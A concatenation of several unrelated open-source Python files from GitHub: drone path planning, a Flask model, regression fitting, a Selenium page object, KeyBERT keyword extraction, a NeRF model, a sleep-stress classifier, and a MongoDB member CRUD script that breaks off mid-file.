local position {2}'.format(self.global_home, self.global_position,\n self.local_position))\n\n data = np.loadtxt('colliders.csv', delimiter=',', dtype='Float64', skiprows=2)\n\n # Define a grid for a particular altitude and safety margin around obstacles\n\n grid, north_offset, east_offset, points = create_grid(data, TARGET_ALTITUDE, SAFETY_DISTANCE)\n\n # map coordinates as given in the csv file\n start_ne = (int(self.local_position[0]), int(self.local_position[1]), 5)\n goal_north, goal_east, goal_down = global_to_local((-122.393278, 37.794305, -5), self.global_home).ravel()\n goal_ne = (int(goal_north ), int(goal_east ), int(goal_down))\n\n use_voronoi = False\n use_grid = True\n use_polygon_graph = False\n\n if use_grid:\n # convert to grid \"coordinate\" system i.e. origin is at minimum north, east\n start_ne_int = (int(start_ne[0] - north_offset), int(start_ne[1] - east_offset))\n goal_ne_int = (int(goal_ne[0] - north_offset), int(goal_ne[1] - east_offset))\n\n path, cost = a_star(grid, heuristic, start_ne_int, goal_ne_int)\n waypoints_before_conversion = [p for p in path]\n\n elif use_voronoi:\n if not os.path.exists(\"voronoi_edges.pkl\"):\n edges = create_voronoi_edges(grid, points)\n with open('voronoi_edges.pkl', 'wb') as f:\n pickle.dump(edges, f)\n else:\n print(\"Loading cached edges\")\n with open('voronoi_edges.pkl', 'rb') as f:\n edges = pickle.load(f)\n\n G = nx.Graph()\n # Stepping through each edge\n for e in edges:\n p1, p2 = e[0], e[1]\n dist = np.linalg.norm(np.array(p2) - np.array(p1))\n G.add_edge(p1, p2, weight=dist)\n\n start_ne = (start_ne[0] - north_offset, start_ne[1] - east_offset)\n goal_ne = (goal_ne[0] - north_offset, goal_ne[1] - east_offset)\n\n start_ne_closest = closest_point(G, start_ne)\n goal_ne_closest = closest_point(G, goal_ne)\n\n path, cost = a_star_graph(G, heuristic, start_ne_closest, goal_ne_closest)\n\n # Convert path to waypoints\n waypoints_before_conversion = [p for p in path]\n\n elif use_polygon_graph:\n print(\"Running polygon approach\")\n if not os.path.exists(\"./graph.pkl\"):\n sampler = Sampler(data)\n polygons = sampler._polygons\n nodes = sampler.sample(400)\n\n start_ne = (start_ne[0] - north_offset, start_ne[1] - east_offset)\n goal_ne = (goal_ne[0] - north_offset, goal_ne[1] - east_offset)\n\n nodes.append(start_ne)\n nodes.append(goal_ne)\n t0 = time.time()\n G = create_probabilistic_graph(nodes, 10, polygons)\n print(f'graph took {time.time()-t0} seconds to build')\n\n with open('graph.pkl', 'wb') as f:\n pickle.dump(G, f)\n else:\n print(\"Loading cached graph\")\n with open('graph.pkl', 'rb') as f:\n G = pickle.load(f)\n\n path, cost = a_star_graph(G, heuristic, start_ne, goal_ne)\n waypoints_before_conversion = [p for p in path]\n\n waypoints_before_conversion = self.prune_path(waypoints_before_conversion)\n\n if use_polygon_graph:\n waypoints = [[int(p[0]), int(p[1]), int(p[2]), 0] for p in waypoints_before_conversion]\n else:\n waypoints = [[int(p[0] + north_offset), int(p[1] + east_offset), TARGET_ALTITUDE, 0] for p in waypoints_before_conversion]\n\n print(\"waypoints, len(waypoints) \", waypoints, len(waypoints))\n self.waypoints = waypoints\n # Send waypoints to simulator for visualization\n self.send_waypoints()\n\n def start(self):\n self.start_log(\"Logs\", \"NavLog.txt\")\n\n print(\"starting connection\")\n self.connection.start()\n\n # Only required if they do threaded\n # while self.in_mission:\n # pass\n\n self.stop_log()\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument('--port', type=int, default=5760, help='Port number')\n parser.add_argument('--host', type=str, default='127.0.0.1', help=\"host address, i.e. '127.0.0.1'\")\n args = parser.parse_args()\n\n conn = MavlinkConnection('tcp:{0}:{1}'.format(args.host, args.port), timeout=60)\n drone = MotionPlanner(conn)\n time.sleep(1)\n\n drone.start()\n","repo_name":"davidscmx/drone-motion-planning","sub_path":"motion_planning.py","file_name":"motion_planning.py","file_ext":"py","file_size_in_byte":12303,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"10805647775","text":"from flask_sqlalchemy import SQLAlchemy\nfrom app import db\n\nclass Dog(db.Model):\n __tablename__= 'Dog'\n name = db.Column(db.String(40),primary_key = True)\n describe = db.Column(db.String(200),nullable=False)\n location = db.Column(db.String(200))\n accepted = db.Column(db.String(2))\n def __init__(self,name,location,describe):\n self.name = name\n self.describe = describe\n self.location = location\n self.accepted = 'F'\n def __repr__(self):\n return \"\" % self.name\n\n def obj(self):\n return {'name': self.name,\n 'describe' : self.describe,\n 'location' : self.location,\n 'accepted' : self.accepted, \n }\n","repo_name":"7vikpeculiar/ccc-grievance-portal","sub_path":"webapp/backend/app/dogs/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":732,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"41657774250","text":"import scipy.stats as stats\r\nimport matplotlib.pyplot as plt\r\nimport matplotlib.colors as clr\r\nimport numpy as np\r\nimport seaborn as sb\r\n\r\n\r\ndef MNK(x, y):\r\n xy = np.array([x[i] * y[i] for i in range(len(x))])\r\n x_2 = np.array([x[i] * x[i] for i in range(len(x))])\r\n b_1 = (np.mean(xy) - np.mean(x) * np.mean(y)) / (np.mean(x_2) - np.mean(x) ** 2)\r\n b_0 = np.mean(y) - np.mean(x) * b_1\r\n return b_1, b_0\r\n\r\ndef z_p(sample, p):\r\n pn = p * sample.size\r\n if (pn == int(pn)):\r\n return sample[int(pn)]\r\n return sample[int(pn) + 1]\r\n\r\n\r\ndef MNM(x, y):\r\n k = 1.491\r\n n = len(x)\r\n q_y = (z_p(y, 3/4) - z_p(y, 1/4)) / k\r\n q_x = (z_p(x, 3/4) - z_p(x, 1/4)) / k\r\n r_q = 0\r\n med_x = np.median(x)\r\n med_y = np.median(y)\r\n for i in range(n):\r\n r_q += np.sign(x[i] - med_x) * np.sign(y[i] - med_y)\r\n r_q /= n\r\n b_1 = r_q * q_y / q_x\r\n b_0 = med_y - b_1 * med_x\r\n return b_1, b_0\r\n\r\n\r\nx = np.linspace(-1.8, 2, 20)\r\ne = stats.norm.rvs(0, 1, size=20)\r\ny = 2 * x + 2\r\ny_1 = y + e\r\ne = stats.norm.rvs(0, 1, size=20)\r\ny_2 = y + e\r\ny_2[0] += 10\r\ny_2[-1] -= 10\r\n\r\na_1, b_1 = MNK(x, y_1)\r\na_2, b_2 = MNM(x, y_1)\r\nl_1 = a_1 * x + b_1\r\nl_2 = a_2 * x + b_2\r\nfig, axis = plt.subplots()\r\naxis.scatter(x, y_1)\r\naxis.plot(x, y, 'r', label='$y=2x+2$')\r\naxis.plot(x, l_1, 'b', label='МНК')\r\naxis.plot(x, l_2, 'g', label='МНМ')\r\naxis.legend()\r\nfig.savefig('plots/straight.pdf')\r\nfile = open('coefs.txt', 'w')\r\nfile.write('a_1 = ' + str(a_1) + ', b_1 = ' + str(b_1))\r\nfile.write('\\na_2 = ' + str(a_2) + ', b_2 = ' + str(b_2))\r\n\r\na_1, b_1 = MNK(x, y_2)\r\na_2, b_2 = MNM(x, y_2)\r\nl_1 = a_1 * x + b_1\r\nl_2 = a_2 * x + b_2\r\nfig, axis = plt.subplots()\r\naxis.scatter(x, y_2)\r\naxis.plot(x, y, 'r', label='$y=2x+2$')\r\naxis.plot(x, l_1, 'b', label='МНК')\r\naxis.plot(x, l_2, 'g', label='МНМ')\r\naxis.legend()\r\nfig.savefig('plots/perm.pdf')\r\nfile.write('\\n\\na_1 = ' + str(a_1) + ', b_1 = ' + str(b_1))\r\nfile.write('\\na_2 = ' + str(a_2) + ', b_2 = ' + str(b_2))\r\nfile.close()\r\n\r\nplt.show()\r\n","repo_name":"Stasychbr/MatStat","sub_path":"lab5-6/lab6.py","file_name":"lab6.py","file_ext":"py","file_size_in_byte":2028,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"8209483041","text":"# https://www.borntodev.com/devlab/task/223?languageId=71\np = input()\nt=''\nr=0\n\nfor i in range(len(p)):\n c = p[i]\n if c.isnumeric():\n t += c\n elif t != '':\n r += int(t)\n t = ''\nif t != '':\n r += int(t)\n t = ''\nr=str(r)\nprint(r if len(r)>=4 else '0'*(4-len(r))+r)","repo_name":"PONGPONGz/Devlab-Solutions","sub_path":"2 Stars/รหัสบัตร ATM.py","file_name":"รหัสบัตร ATM.py","file_ext":"py","file_size_in_byte":298,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"31008131503","text":"from selenium.webdriver.common.by import By\n\nfrom onliner_uat.pages.base_page import BasePage\nfrom onliner_uat.web_elements.web_elements import WebLabel, WebElementList\nfrom onliner_uat.utils.regex_utils import get_list_of_numbers_from_string\n\n\nclass CatalogComparisonPage(BasePage):\n comparison_column = WebElementList(By.XPATH, \"//td[contains(@class, 'product-table__cell')]\")\n comparison_column_highlighted = WebLabel(By.XPATH, \"//td[contains(normalize-space(@class), 'product-table__cell product-table__cell_accent')]\")\n\n def __init__(self, driver):\n super().__init__(driver)\n\n def is_the_best_of_first_sections_highlighted(self):\n # get list of class-attribute values and text values OF ALL sells\n list_of_class_values = self.comparison_column.get_attribute('class')\n list_of_text = self.comparison_column.get_text_from_amount_of_elements()\n\n list_of_4_items_class_values = []\n list_of_4_items_text = []\n is_highlighted = True\n\n for i in range(len(list_of_class_values)):\n # get four items from lists\n list_of_4_items_class_values.append(list_of_class_values[i])\n list_of_4_items_text.append(list_of_text[i])\n\n # if lists_of_4_elements contains 4 elements check them for highlighted sells\n if i + 1 % 4 == 0:\n max_el = 0\n position = 0\n for item in range(len(list_of_4_items_text)):\n number = get_list_of_numbers_from_string(list_of_text[item])\n if max_el < number:\n max_el = number\n position = item\n\n if \"product-table__cell_accent\" not in list_of_class_values[position]:\n is_highlighted = False\n return is_highlighted\n","repo_name":"ilya-varchenya/practice","sub_path":"onliner_uat/pages/catalog_comparison_page.py","file_name":"catalog_comparison_page.py","file_ext":"py","file_size_in_byte":1817,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"4134950885","text":"from sentence_transformers import SentenceTransformer\nfrom keybert import KeyBERT\nfrom nltk.tokenize import sent_tokenize\nimport nltk\n# we use nltk library to tokenize our text\nnltk.download('punkt')\n\nclass AnswerKey:\n \"\"\"\n Generate answers using keyword extraction, and map them to sentences they appear in\n \"\"\"\n\n def __init__(self, text):\n self.text = text\n\n # KeyBert uses BERT-embeddings and simple cosine similarity to find the sub-phrases in a document that are the most similar to the document itself.\n sentence_model = SentenceTransformer(\"all-MiniLM-L6-v2\")\n self.kw_model = KeyBERT(sentence_model)\n\n def get_keywords(self, text):\n \"\"\"\n Given @input text, identify important keywords. \n Here we use Sentence Transformer to extract keywords that best describe the text\n \"\"\"\n keywords_with_scores = self.kw_model.extract_keywords(text, keyphrase_ngram_range=(1, 2), top_n=5, stop_words='english')\n keywords = [kw[0] for kw in keywords_with_scores]\n scores = [kw[1] for kw in keywords_with_scores]\n return keywords\n\n def tokenize_sentences(self, text):\n \"\"\"\n Given a @text input, returns tokenized sentences\n \"\"\"\n sentences = [sent_tokenize(text)]\n sentences = [sentence for paragraph in sentences for sentence in paragraph]\n\n # Remove sentences shorter than 20 letters.\n sentences = [sentence.strip() for sentence in sentences if len(sentence) > 20]\n return sentences\n\n def get_sentences_for_keyword(self, kw_model, sentences, ngram_range=(1, 1), top_n=10):\n \"\"\"\n @kw_model: keyBERT model to extract keywords\n @sentences: list of tokenized sentences\n returns a map with keywords as keys mapped to the sentences they appear in.\n \"\"\"\n keyword_sentences = {}\n for sentence in sentences:\n keywords_found = [kw[0] for kw in kw_model.extract_keywords(sentence, keyphrase_ngram_range=ngram_range, top_n=top_n) if len(kw[0]) > 2]\n\n for key in keywords_found:\n keyword_sentences[key] = keyword_sentences.get(key, [])\n keyword_sentences[key].append(sentence)\n\n return keyword_sentences\n\n def get_answers(self, ngram_range=(1, 2), top_n=10):\n sentences = self.tokenize_sentences(self.text)\n keyword_to_sentences = self.get_sentences_for_keyword(self.kw_model, sentences, ngram_range=ngram_range, top_n=top_n)\n return keyword_to_sentences","repo_name":"gborn/Generating-Multiple-Choice-Questions-From-Any-Text","sub_path":"src/answerkey.py","file_name":"answerkey.py","file_ext":"py","file_size_in_byte":2526,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"45061974633","text":"N = int(input())\nA = list(map(int,input().split()))\nM = int(input())\ndata = list(map(int,input().split()))\n\n# def binary_search(arr, value, high, low):\n# arr.sort()\n# if low > high:\n# print(0)\n# return\n# mid = (low+high)//2\n# if arr[mid] == value:\n# print(1)\n# return\n# if arr[mid] > value:\n# high = mid-1\n# binary_search(arr, value, high, low)\n# elif arr[mid] < value:\n# low = mid+1\n# binary_search(arr, value, high, low)\nA.sort()\nfor i in data:\n low = 0\n high = len(A)-1\n result = 0\n while low<=high:\n mid = (low+high) // 2\n if A[mid] > i:\n high = mid-1\n elif A[mid] <= i:\n if result < mid:\n result = mid\n low = mid+1\n if A[result] == i:\n print(1)\n else:\n print(0)","repo_name":"healtheloper/dochon_logic","sub_path":"backjoon/binary_search/1920_수찾기.py","file_name":"1920_수찾기.py","file_ext":"py","file_size_in_byte":855,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"26990024706","text":"\n\nimport logging\nimport os\nimport sys\n\nfrom jupyter_core.application import JupyterApp\nfrom traitlets.config.application import Application\nfrom traitlets.traitlets import Unicode, validate, TraitError, Bool\n\nfrom .._version import __version__\n\nbase_converter_aliases = {\n \"log-level\": \"Application.log_level\",\n \"i\": \"ConverterApp.input_directory\",\n \"o\": \"ConverterApp.output_directory\",\n \"p\": \"ConverterApp.file_pattern\",\n \"input_directory\": \"ConverterApp.input_directory\",\n \"output_directory\": \"ConverterApp.output_directory\",\n \"file_pattern\": \"ConverterApp.file_pattern\",\n \"copy_files\": \"ConverterApp.copy_files\"\n}\nbase_converter_flags = {\n \"debug\": (\n {\"Application\": {\"log_level\": \"DEBUG\"}},\n \"set log level to DEBUG (maximize logging output)\",\n ),\n \"quiet\": (\n {\"Application\": {\"log_level\": \"CRITICAL\"}},\n \"set log level to CRITICAL (minimize logging output)\",\n ),\n}\n\n\nclass ConverterApp(Application):\n description = \"\"\"Base app for converters\n \"\"\"\n\n __version__ = __version__\n\n aliases = base_converter_aliases\n flags = base_converter_flags\n\n input_directory = Unicode(None, allow_none=False).tag(config=True)\n output_directory = Unicode(None, allow_none=False).tag(config=True)\n file_pattern = Unicode(\"*.ipynb\", allow_none=False).tag(config=True)\n copy_files = Bool(False, allow_none=False).tag(config=True)\n\n def _log_level_default(self):\n return logging.INFO\n\n @validate(\"input_directory\", \"output_directory\")\n def _dir_exits(self, proposal) -> str:\n if os.path.isdir(proposal[\"value\"]):\n return proposal[\"value\"]\n else:\n self.log.error(f'The path {proposal.value} of {proposal.trait.name} is not a directory')\n raise TraitError(f'The path {proposal.value} of {proposal.trait.name} is not a directory')\n \n @validate(\"config_path\")\n def _config_path_exists(self, proposal) -> str:\n if os.path.isfile(proposal[\"value\"]):\n return proposal[\"value\"]\n else:\n self.log.error(f'The path {proposal.value} of {proposal.trait.name} is not a valid config file')\n raise TraitError(f'The path {proposal.value} of {proposal.trait.name} is not a valid config file')\n\n def fail(self, msg, *args):\n \"\"\"Log the error msg using self.log.error and exit using sys.exit(1).\"\"\"\n self.log.error(msg, *args)\n sys.exit(1)\n","repo_name":"TU-Wien-dataLAB/Grader-Service","sub_path":"grader_convert/grader_convert/converters/baseapp.py","file_name":"baseapp.py","file_ext":"py","file_size_in_byte":2444,"program_lang":"python","lang":"en","doc_type":"code","stars":24,"dataset":"github-code","pt":"48"} +{"seq_id":"35405662880","text":"import pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.metrics import confusion_matrix\nfrom sklearn.metrics import classification_report\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.tree import DecisionTreeClassifier\nfrom sklearn.svm import SVC\nfrom sklearn.naive_bayes import GaussianNB\nfrom sklearn.neighbors import KNeighborsClassifier\nfrom sklearn.metrics import accuracy_score\n\nfrom mlxtend.preprocessing import minmax_scaling\nfrom sklearn.feature_selection import mutual_info_regression\nfrom sklearn.svm import LinearSVC\nfrom sklearn.linear_model import SGDClassifier\nfrom sklearn.ensemble import GradientBoostingClassifier\n\n\nimport warnings\nwarnings.filterwarnings('ignore')\n\ndata = pd.read_csv('Dataset/health_and_sleep/SaYoPillow.csv')\n\n# Renaming the columns of the DataFrame for better readability and understanding\ndata.columns = ['snoring_rate', 'respiration_rate', 'body_temperature', 'limb_movement', 'blood_oxygen',\n 'eye_movement', 'sleeping_hours', 'heart_rate', 'stress_level']\n\ndata.drop(columns=['limb_movement'], axis=1, inplace=True)\n\n# print(data.head())\n\n# Correlation Analysis: Correlation matrix heatmap\nplt.figure(figsize=(14, 12))\ncorrelation_matrix = data.corr()\nsns.heatmap(correlation_matrix, annot=True, cmap='YlGnBu', fmt='.2f')\nplt.title(\"Correlation Matrix Heatmap\")\nplt.savefig('Experiment_Code/sleep_pattern/correlation.png')\nplt.clf()\n\n\n# Splitting dataset\n# Split the data into features (X) and the target variable (y)\nX = data.drop(['stress_level'], axis=1)\ny = data['stress_level']\n\n# Split the data into training and testing sets (80% training, 20% testing)\nX_train, X_test, y_train, y_test = train_test_split(\n X, y, test_size=0.2, random_state=42)\n\n# Identifying important features\n# Create an instance of the RandomForestClassifier with hyperparameters\nforest = RandomForestClassifier(n_estimators=500, random_state=1)\n\n# Train the RandomForestClassifier on the training data\nforest.fit(X_train, y_train.values.ravel())\n\n# Get the feature importance from the trained RandomForestClassifier\nimportance = forest.feature_importances_\n\n# Loop over each feature and its importance\nfor i in range(X_train.shape[1]):\n # Print the feature number, name, and importance score\n print(\"%2d) %-*s %f\" % (i + 1, 30, data.columns[i], importance[i]))\n\n# Plotting the feature importances as a bar chart\nplt.figure(figsize=(10, 6))\nplt.bar(range(X_train.shape[1]), importance, align='center')\nplt.title('Feature Importance')\nplt.xticks(range(X_train.shape[1]), X_train.columns, rotation=90)\nplt.xlabel('Features')\nplt.ylabel('Importance Score')\nplt.tight_layout()\nplt.savefig('Experiment_Code/sleep_pattern/feature_importance.png')\nplt.clf()\n\n\n# Feature-wise plotting\n\n# # sleeping hours and stress\n# fig, ax = plt.subplots(figsize=(7,7))\n# data.groupby(data[\"stress_level\"])[\"sleeping_hours\"].mean().plot(kind='bar', rot=0, color='#84a3cf')\n# plt.title(\"Stress Levels Measured by Sleeping Hours\")\n# plt.xlabel(\"Stress Levels\")\n# plt.ylabel(\"Number of Hours Slept\")\n# plt.savefig('Experiment_Code/sleep_pattern/sleeping_hrs.png')\n\n# # heart rate and stress\n# fig, ax = plt.subplots(figsize=(7,7))\n# data.groupby(data[\"stress_level\"])[\"heart_rate\"].mean().plot(kind='bar', rot=0, color='#c789a4')\n# plt.title(\"Stress Levels Measured by Heart Rate\")\n# plt.xlabel(\"Stress Levels\")\n# plt.ylabel(\"Heart Rate\")\n# plt.savefig('Experiment_Code/sleep_pattern/heart_rate.png')\n\n# # snoring rate and stress\n# fig, ax = plt.subplots(figsize=(7,7))\n# data.groupby(data[\"stress_level\"])[\"snoring_rate\"].mean().plot(kind='bar', rot=0, color='#c789a4')\n# plt.title(\"Stress Levels Measured by Snoring Rate\")\n# plt.xlabel(\"Stress Levels\")\n# plt.ylabel(\"Snoring Rate\")\n# plt.savefig('Experiment_Code/sleep_pattern/snoring_rate.png')\n\n\n# Data preprocessing and ML\n\n# data-preprocessing\nX = data.drop('stress_level', axis=1)\ny = pd.DataFrame(data['stress_level'])\nX_scaled = minmax_scaling(X, columns=X.columns)\n\nmi = pd.DataFrame(mutual_info_regression(X_scaled, y), columns=[\n 'MI Scores'], index=X_scaled.columns)\ncorr = pd.DataFrame(X_scaled[X_scaled.columns].corrwith(\n y['stress_level']), columns=['Correlation'])\ns_corr = pd.DataFrame(X_scaled[X_scaled.columns].corrwith(y['stress_level'], method='spearman'),\n columns=['Spearman_Correlation'])\n\nrelation = mi.join(corr)\nrelation = relation.join(s_corr)\nrelation.sort_values(by='MI Scores', ascending=False)\n\nX_train, X_test, y_train, y_test = train_test_split(X_scaled, y, train_size=0.8, test_size=0.2, random_state=42,\n stratify=y, shuffle=True)\n\ndtc = DecisionTreeClassifier()\nlr = LogisticRegression()\ngnb = GaussianNB()\nlsvc = LinearSVC()\nsvc = SVC()\nrfc = RandomForestClassifier()\nknn = KNeighborsClassifier()\nsgdc = SGDClassifier()\ngbc = GradientBoostingClassifier()\n\nmodels = [dtc, lr, gnb, lsvc, svc, rfc, knn, sgdc, gbc]\nmodel_name = ['Decision Tree', 'Logistic Regression', 'Gaussian Naive Bayes', 'Linear SVC', 'SVC', 'Random Forest',\n 'KNN or k-Nearest Neighbors', 'Stochastic Gradient Descent', 'Gradient Boosting']\n\nacc_scores = []\nfor model in models:\n model.fit(X_train, y_train)\n y_pred = model.predict(X_test)\n acc_model = round(accuracy_score(y_pred, y_test) * 100, 2)\n acc_scores.append(acc_model)\n\nmodels_acc = pd.DataFrame(\n {'Model name': model_name, 'Accuracy scores': acc_scores})\nmodels_acc.sort_values(by='Accuracy scores', ascending=False)\n\nprint(models_acc)\n\n\n# Random forest classifier\nprint(rfc.score(X_test, y_test))\ny_predict = rfc.predict(X_test)\nmatrix = confusion_matrix(y_test, y_predict)\nprint(\"Confusion Matrix:\")\nprint(matrix)\nreport = classification_report(y_test, y_predict)\nprint(\"Classification Report:\")\nprint(report)\n\n\n# Random forest classifier\nprint(svc.score(X_test, y_test))\ny_predict = svc.predict(X_test)\nmatrix = confusion_matrix(y_test, y_predict)\nprint(\"Confusion Matrix:\")\nprint(matrix)\nreport = classification_report(y_test, y_predict)\nprint(\"Classification Report:\")\nprint(report)\n\n# regression plot between Stress Level and rest of the columns\nplt.figure(figsize=(15, 10))\nfor i, column in enumerate(data.columns, 1):\n plt.subplot(3, 3, i)\n sns.regplot(x=\"stress_level\", y=data[column], data=data, scatter_kws={\n \"color\": \"green\"}, line_kws={\"color\": \"blue\"})\nplt.show()\n\nplt.savefig('Experiment_Code/sleep_pattern/all_regression_plot.png')\n","repo_name":"priyamsahoo/stress_emotion_detection","sub_path":"sayopillow_sleep_pattern/ml.py","file_name":"ml.py","file_ext":"py","file_size_in_byte":6608,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"38614582630","text":"import torch.nn as nn\nimport torch\n\nclass PositionalEncoder(nn.Module):\n def __init__(self, input_size=3,\n encoding_functions=[torch.sin, torch.cos],\n freq_range=(-2, 8),\n keep_raw=False):\n super().__init__()\n self.input_size = input_size\n self.freq_range = freq_range\n log_freqs = torch.arange(*self.freq_range)\n freqs = torch.pow(2, log_freqs)\n self.freqs = freqs.reshape([1, 1, -1, 1])\n self.register_buffer('freq_const', self.freqs)\n self.encoding_functions = encoding_functions\n self.keep_raw = keep_raw\n \n def forward(self, x):\n raw = x[..., None, :]\n pre_f = self.freq_const * raw\n pre_f = pre_f.reshape([*pre_f.shape[:-2], -1])\n\n if self.keep_raw:\n encoded = [x]\n else:\n encoded = []\n for f in self.encoding_functions:\n encoded.append(f(pre_f))\n \n encoded = torch.cat(encoded, dim=-1)\n return encoded\n \n def output_size(self):\n return len(self.encoding_functions) * self.input_size * (self.freq_range[1]-self.freq_range[0]) \\\n + self.keep_raw * self.input_size\n\nclass IntegratedPositionalEncoder(nn.Module):\n def __init__(self, freq_range=(-5, 5)):\n super().__init__()\n self.freq_range = freq_range\n log_freqs = torch.arange(*self.freq_range)\n freqs = torch.pow(4, log_freqs)\n self.freqs = freqs.reshape([1, 1, -1, 1])\n self.register_buffer('freq_const', self.freqs)\n \n def forward(self, o, d, r, t0, t1):\n t_mu = (t0 + t1) / 2 # [1, samples_on_ray, 1]\n t_delta = (t1 - t0) / 2 # [1, samples_on_ray, 1]\n mu_t = t_mu + (2 * t_mu * t_delta**2) / (3 * t_mu**2 + t_delta**2 + 1e-10)\n var_t = (t_delta**2) / 3 - (4 / 15) * ((t_delta**4 * (12 * t_mu**2 - t_delta**2)) / (3 * t_mu**2 + t_delta**2 + 1e-10)**2)\n var_r = r**2 * ((t_mu**2) / 4 + (5/12) * t_delta**2 - 4/15 * (t_delta**4) / (3 * t_mu**2 + t_delta**2 + 1e-10)) # [1, samples_on_ray, 1]\n \n mu = o + mu_t * d # [batch, samples_on_ray, 3]\n dd = d**2 # [batch, 1, 3]\n mag = torch.sum(dd, dim=-1, keepdim=True) + 1e-10\n cov_diag = var_t * dd + var_r * (1 - dd / mag)\n \n cov_diag_gamma = self.freq_const * cov_diag[..., None, :]\n cov_diag_gamma = cov_diag_gamma.reshape(*cov_diag_gamma.shape[:-2], -1)\n\n mu_gamma = self.freq_const * mu[..., None, :]\n mu_gamma = mu_gamma.reshape(*mu_gamma.shape[:-2], -1)\n\n encoded = [torch.sin(mu_gamma) * torch.exp(- cov_diag_gamma / 2),\n torch.cos(mu_gamma) * torch.exp(- cov_diag_gamma / 2)]\n\n encoded = torch.cat(encoded, dim=-1)\n return encoded\n \n def output_size(self):\n return 3 * 2 * (self.freq_range[1] - self.freq_range[0])\n\nclass NerfModel(nn.Module):\n def __init__(self, input_dim=69, \n input_dim_dir=22,\n hidden_dim=256,\n eps=1e-3):\n super().__init__()\n self.density0 = nn.Sequential(\n nn.Linear(input_dim, hidden_dim),\n nn.ReLU(),\n nn.Linear(hidden_dim, hidden_dim),\n nn.ReLU(),\n nn.Linear(hidden_dim, hidden_dim),\n nn.ReLU(),\n nn.Linear(hidden_dim, hidden_dim),\n nn.ReLU(),\n )\n self.density1 = nn.Sequential(\n nn.Linear(input_dim + hidden_dim, hidden_dim),\n nn.ReLU(),\n nn.Linear(hidden_dim, hidden_dim),\n nn.ReLU(),\n nn.Linear(hidden_dim, hidden_dim),\n nn.ReLU(),\n nn.Linear(hidden_dim, hidden_dim),\n nn.ReLU(),\n )\n self.density_out = nn.Sequential(\n nn.Linear(hidden_dim, 1),\n nn.Softplus()\n )\n self.rgb0 = nn.Sequential(\n nn.Linear(hidden_dim, hidden_dim)\n )\n self.rgb1 = nn.Sequential(\n nn.Linear(hidden_dim + input_dim_dir, hidden_dim),\n nn.ReLU()\n )\n self.rgb_out = nn.Sequential(\n nn.Linear(hidden_dim, 3),\n nn.Sigmoid()\n )\n self.eps = eps\n \n def forward(self, input_pos, input_dir):\n output = self.density0(input_pos)\n output = torch.cat([output, input_pos], axis=-1)\n output = self.density1(output)\n density = self.density_out(output - 1.)\n output = self.rgb0(output)\n output = torch.cat([output, input_dir.expand(-1, output.shape[1], -1)], dim=-1)\n output = self.rgb1(output)\n rgb = self.rgb_out(output)\n rgb = rgb * (1 + 2 * self.eps) - self.eps # see appendix of the orig paper\n return density, rgb\n\n def _xavier_init(self):\n for module in self.modules():\n if isinstance(module, nn.Linear):\n nn.init.xavier_uniform_(module.weight)","repo_name":"ImmortalCactus/torch-NeRF","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":4921,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"41509103265","text":"from pymongo import MongoClient\r\nimport sys\r\nimport os\r\n\r\nfrom sqlalchemy import null\r\n\r\n\r\ndef mydbConn(): # db연결\r\n client = MongoClient(\"mongodb://localhost:27017/\")\r\n return client['test-db']\r\n \r\ndef screen():\r\n print(\"\\n### 간단한 회원 관리 프로그램 ###\")\r\n print(\"0.초기생성 1.멤버추가 2.멤버리스트 3.멤버찾기 4. 정보수정 5. 화면지우기 6.종료\")\r\n \r\ndef memberAdd() : #insert\r\n \r\n name = input(\"->이름: \")\r\n email = input(\"->이메일: \")\r\n age = input(\"->나이: \")\r\n\r\n data = {\r\n 'name' : name,\r\n 'email' : email,\r\n 'age' : age\r\n }\r\n \r\n db = mydbConn()\r\n db.member.insert_one(data)\r\n print(\"{0},{1},{2}\".format(name, email, age))\r\n \r\ndef memberAllList():\r\n \r\n db = mydbConn()\r\n \r\n for mem in db['member'].find():\r\n print('{0},{1},{2}'.format(mem['name'], mem['email'], mem['age']))\r\n\r\n\r\ndef memberSearch():\r\n \r\n search_name = input(\"이름 검색: \")\r\n\r\n db = mydbConn()\r\n result = db.member.find({\"name\" : search_name})\r\n for mem in result:\r\n print(mem)\r\n\r\n\r\ndef memberModify():\r\n \r\n search_name = input(\"이름 검색: \")\r\n count = 0\r\n\r\n db = mydbConn()\r\n result = db.member.find({\"name\" : search_name})\r\n for mem in result:\r\n print(mem)\r\n count += 1\r\n #print(count)\r\n \r\n if (count > 0):\r\n new_email = input(\"이메일 변경: \")\r\n new_age = input(\"나이 변경: \")\r\n \r\n db['member'].update(\r\n { 'name':search_name},\r\n { \"$set\":{'email': new_email, 'age' : new_age }} ) \r\n \r\n else:\r\n print('Member Empty')\r\n\r\n# def memberModify():\r\n# name = input(\"Name you want to find: \")\r\n# db = mydbConn()\r\n\r\n# if db.member.find_one({'name':name}):\r\n# email = input(\"Email To Edit: \")\r\n# age = input(\"Age To Edit: \")\r\n\r\n# db.member.update_one(\r\n# {'name':name },\r\n# {'$set':{'email':email, 'age':age}}\r\n# )\r\n# else:\r\n# print('Member Empty!')\r\n \r\n \r\ndef createNodeInit():\r\n \r\n\r\n data1 = {\r\n 'name' : \"Gu Seo Yeon\",\r\n 'email' : \"gsy0207@naver.com\",\r\n 'age' : 25\r\n }\r\n \r\n data2 = {\r\n 'name' : \"Yeon \",\r\n 'email' : 